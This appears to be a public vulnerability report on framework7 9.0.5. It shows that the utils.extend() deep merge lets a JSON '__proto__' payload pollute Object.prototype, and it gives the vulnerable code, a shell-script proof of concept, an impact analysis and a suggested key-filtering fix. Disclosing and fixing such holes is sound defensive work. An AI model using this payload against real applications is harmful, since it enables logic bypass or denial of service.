Summary
framework7@9.0.5 appears to be vulnerable to prototype pollution through the public utils.extend() helper exported from the package root.
When utils.extend() performs a deep merge and receives an object containing an own __proto__ property, it recursively descends into Object.prototype and writes attacker-controlled properties there. Newly created plain objects in the same JavaScript process then inherit the polluted properties.
This is reachable through the public package entry:
import { utils } from "framework7";
I tested this against the current npm version:
Details
The affected utility is exported from the package root as utils.extend().
The vulnerable implementation is in the distributed file:
Relevant code:
export function extend(...args) {
let deep = true;
let to;
let from;
if (typeof args[0] === 'boolean') {
deep = args[0];
to = args[1];
args.splice(0, 2);
from = args;
} else {
to = args[0];
args.splice(0, 1);
from = args;
}
for (let i = 0; i < from.length; i += 1) {
const nextSource = args[i];
if (nextSource !== undefined && nextSource !== null) {
const keysArray = Object.keys(Object(nextSource));
for (let nextIndex = 0, len = keysArray.length; nextIndex < len; nextIndex += 1) {
const nextKey = keysArray[nextIndex];
const desc = Object.getOwnPropertyDescriptor(nextSource, nextKey);
if (desc !== undefined && desc.enumerable) {
if (!deep) {
to[nextKey] = nextSource[nextKey];
} else if (isObject(to[nextKey]) && isObject(nextSource[nextKey])) {
extend(to[nextKey], nextSource[nextKey]);
} else if (!isObject(to[nextKey]) && isObject(nextSource[nextKey])) {
to[nextKey] = {};
extend(to[nextKey], nextSource[nextKey]);
} else {
to[nextKey] = nextSource[nextKey];
}
}
}
}
}
return to;
}
There does not appear to be a guard for prototype-pollution keys such as:
__proto__
constructor
prototype
When nextKey === "__proto__" and the merge target is a normal object, to[nextKey] resolves to Object.prototype. Since both to[nextKey] and nextSource[nextKey] are objects, the function recursively calls:
extend(Object.prototype, attackerControlledObject)
This writes attacker-controlled fields onto Object.prototype.
Reproduction
Create a clean test project:
set -eu
rm -rf /tmp/framework7-extend-pp-poc
mkdir /tmp/framework7-extend-pp-poc
cd /tmp/framework7-extend-pp-poc
npm init -y >/dev/null
npm install --ignore-scripts --no-audit --no-fund framework7@9.0.5 >/dev/null
cat > poc.mjs <<'JS'
import { utils } from "framework7";
delete Object.prototype.framework7Polluted;
utils.extend(
{},
JSON.parse('{"__proto__":{"framework7Polluted":"yes"}}'),
);
console.log("Object.prototype.framework7Polluted:", Object.prototype.framework7Polluted);
console.log("plain object inherited:", ({}).framework7Polluted);
delete Object.prototype.framework7Polluted;
JS
node poc.mjs
Observed output:
Object.prototype.framework7Polluted: yes
plain object inherited: yes
Expected output:
Object.prototype.framework7Polluted: undefined
plain object inherited: undefined
The issue can also be reproduced through the explicitly exported shared utility path:
import { extend } from "framework7/shared/utils.js";
However, the package-root export is enough to reproduce the issue.
Impact
The direct impact is prototype pollution in any JavaScript runtime that calls utils.extend() with attacker-controlled or partially attacker-controlled objects.
This may affect downstream Framework7 applications or integrations that use utils.extend() to merge JSON-like input such as:
- user-controlled configuration,
- route or page metadata,
- component options,
- plugin options,
- persisted app state,
- API responses later merged into local state.
Prototype pollution can cause application-specific security effects such as logic bypass, unexpected option changes, denial of service, or client-side issues if polluted properties later reach sensitive sinks.
I am not claiming standalone RCE from this primitive alone. The practical severity depends on whether an application passes untrusted objects into utils.extend() and how polluted properties are later consumed.
Suggested Fix
Reject prototype-pollution keys before reading from or assigning to to[nextKey].
For example:
const unsafeKeys = new Set(["__proto__", "constructor", "prototype"]);
if (unsafeKeys.has(nextKey)) {
continue;
}
This guard should happen before code reads or writes:
to[nextKey]
nextSource[nextKey]
It would also be safer to avoid recursively merging into inherited objects and only reuse nested targets when they are own properties of the target object.
Security Disclosure Process Suggestion
I could not find a SECURITY.md policy for this repository. GitHub currently shows no security policy detected for framework7io/framework7.
Since this issue is security-sensitive, I recommend adding a SECURITY.md file and enabling GitHub Private Vulnerability Reporting so future reports can be submitted privately instead of through public issues.
GitHub docs:
Summary
framework7@9.0.5appears to be vulnerable to prototype pollution through the publicutils.extend()helper exported from the package root.When
utils.extend()performs a deep merge and receives an object containing an own__proto__property, it recursively descends intoObject.prototypeand writes attacker-controlled properties there. Newly created plain objects in the same JavaScript process then inherit the polluted properties.This is reachable through the public package entry:
I tested this against the current npm version:
Details
The affected utility is exported from the package root as
utils.extend().The vulnerable implementation is in the distributed file:
Relevant code:
There does not appear to be a guard for prototype-pollution keys such as:
When
nextKey === "__proto__"and the merge target is a normal object,to[nextKey]resolves toObject.prototype. Since bothto[nextKey]andnextSource[nextKey]are objects, the function recursively calls:This writes attacker-controlled fields onto
Object.prototype.Reproduction
Create a clean test project:
Observed output:
Expected output:
The issue can also be reproduced through the explicitly exported shared utility path:
However, the package-root export is enough to reproduce the issue.
Impact
The direct impact is prototype pollution in any JavaScript runtime that calls
utils.extend()with attacker-controlled or partially attacker-controlled objects.This may affect downstream Framework7 applications or integrations that use
utils.extend()to merge JSON-like input such as:Prototype pollution can cause application-specific security effects such as logic bypass, unexpected option changes, denial of service, or client-side issues if polluted properties later reach sensitive sinks.
I am not claiming standalone RCE from this primitive alone. The practical severity depends on whether an application passes untrusted objects into
utils.extend()and how polluted properties are later consumed.Suggested Fix
Reject prototype-pollution keys before reading from or assigning to
to[nextKey].For example:
This guard should happen before code reads or writes:
It would also be safer to avoid recursively merging into inherited objects and only reuse nested targets when they are own properties of the target object.
Security Disclosure Process Suggestion
I could not find a
SECURITY.mdpolicy for this repository. GitHub currently shows no security policy detected forframework7io/framework7.Since this issue is security-sensitive, I recommend adding a
SECURITY.mdfile and enabling GitHub Private Vulnerability Reporting so future reports can be submitted privately instead of through public issues.GitHub docs: